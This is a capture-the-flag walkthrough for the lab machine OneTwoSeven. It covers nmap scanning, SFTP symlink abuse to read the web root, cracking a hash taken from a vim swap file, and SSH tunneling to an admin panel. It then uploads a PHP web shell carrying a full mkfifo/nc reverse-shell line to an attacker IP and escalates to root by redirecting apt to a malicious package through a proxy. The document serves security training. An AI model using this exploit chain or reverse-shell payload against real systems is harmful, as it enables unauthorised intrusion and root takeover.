Nmap

nmap -sC -sV -oA nmap/onetwoseven.htb 10.10.10.133

```
# Nmap 7.70 scan initiated Wed Apr 24 15:36:04 2019 as: nmap -Pn -sC -sV -oA nmap/onetwoseven 10.10.10.133
Nmap scan report for 10.10.10.133
Host is up (0.16s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10*deb9u6 (protocol 2.0)
| ssh-hostkey:
|   2048 48:6c:93:34:16:58:05:eb:9a:e5:5b:96:b6:d5:14:aa (RSA)
|   256 32:b7:f3:e2:6d:ac:94:3e:6f:11:d8:05:b9:69:58:45 (ECDSA)
|_  256 35:52:04:dc:32:69:1a:b7:52:76:06:e3:6c:17:1e:ad (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Page moved.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Apr 24 15:37:22 2019 -- 1 IP address (1 host up) scanned in 77.43 seconds
```

SFTP

we found a sftp login credentials on port 80 enumeration.

```
Username: ots-kMjNlZjE
Password: a6d23ef1
```

lets login in with command

```
sftp ots-kMjNlZjE@10.10.10.133
```

After some web searching and some experimenting we find that we can create sysmlnks and apache (which has more privleges that sftp will open them in url http://10.10.10.133/ots-kMjNlZjE/ . so create a syslnk of root directory with name nice

```
sysmlnk root /
```

Opening it in web browser at url http://10.10.10.133/ots-kMjNlZjE/root .

Web Exploitation

Obtaining hash

On browsing the the url http://10.10.10.133/ots-kMjNlZjE/root , we find a file login.php.swp. Its a vim backup file, on viewing it, we get. a hash and of user ots-admin.

```
ots-admin
11c5a42c9d74d5442ef3cc835bda1b3e7cc7f494e704a10d0de426b2fbe5cbd8
```

Cracking hash

Crack it with john (pass.hash is file only containing hash)

```
john --wordlist=rockyou.txt pass.hash
```

we get password as Homesweethome1

SSH tunneling

Further exploring the source code we get a admin login at localhost:60080 of the remote machine. Using ssh tunneling to tunnel our localhost:60080 to remote machine localhost:60080

```
ssh -N -L 60080:127.0.0.1:60080 ots-kMjNlZjE@10.10.10.133
```

~we can do this as sftp is bases on ssh

Shell Upload

We get a login prompt after which we get a menu.php, with several php addons. After some enumeration and reading ots-addon-man, we upload reverse shell as following request. ~i use python for creating this request.

```
POST /addon-download.php/addon-upload.php HTTP/1.1
Host: 127.0.0.1:60080
User-Agent: Mozilla/5.0 Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml*xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------180568418139267042479801953 2
Content-Length: 540
DNT: 1
Connection: close
Cookie: PHPSESSID=95bpafranr5ugmd7sh8b2895p5
Upgrade-Insecure-Requests: 1

---------------------------180568418139267042479801953 2
Content-Disposition: form-data; name="addon"; filename="ots-nice.php"
Content-Type: application/x-php

<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /login.php"); }; if ( strpos($_SERVER['REQUEST_URI'], '/addons/') !== false ) { die(); }
# OneTwoSeven Admin Plugin
# OTS SHELL
echo shell_exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.39 4444 >/tmp/f");
?>

---------------------------180568418139267042479801953 2--
```

Privelge Escalation

~I used LinEnum.sh as enumeration script

As result of command `sudo -l` we find that we run apt-get update && apt-get upgrade and change environment variable http_proxy, so apt is our attack vector. on internet we find an apt mitm (man in the middle) vuln, so did the following steps.

1. Follow the blog post make the malicious deb file, Package file. ~ we will only need these file you can ignore the rest of blog.
2. Create the repo stucture,

```
.:
devuan

./devuan:
dists  pool

./devuan/dists:
ascii

./devuan/dists/ascii:
main

./devuan/dists/ascii/main:
binary-amd64

./devuan/dists/ascii/main/binary-amd64:
Packages

./devuan/pool:
main

./devuan/pool/main:
v

./devuan/pool/main/v:
vim

./devuan/pool/main/v/vim:
vim_11.1.0875-3_amd64.deb
```

3. Make the box proxy to us,

```
export http_proxy=http://10.10.15.69:3128/
```

4. Proxy to a Proxy

- the box proxies to a proxy on our box, the proxy tunnels locally to port 80. ~we doing this so the second proxy uses our /etc/hosts to resolve packages.onetwoseven.htb to 127.0.0.1.
- we will use squid to listen on port 3128 (i.e default), which will forward it localhost listening on port 80
- Make appropriate changes to /etc/squid/squid.conf allow connections only to localhost host, otherwise the target box will be updated which is not

good.

- Add this to squid.conf

```
acl GOOD dst 127.0.0.1
 http_access allow GOOD
 http_access deny all
```

- Run the command to start squid service

```
sudo service squid start
```

5. Setting Up Server

- Edit the /etc/hosts file

```
127.0.0.1 packages.onetwoseven.htb
```

- Start the HTTP Server on Port 80

```
sudo python -m SimpleHTTPServer 80
```

Getting root shell,

Now all you gotta do is update and upgrade the box, which update your malicious deb package, thus giving you root shell.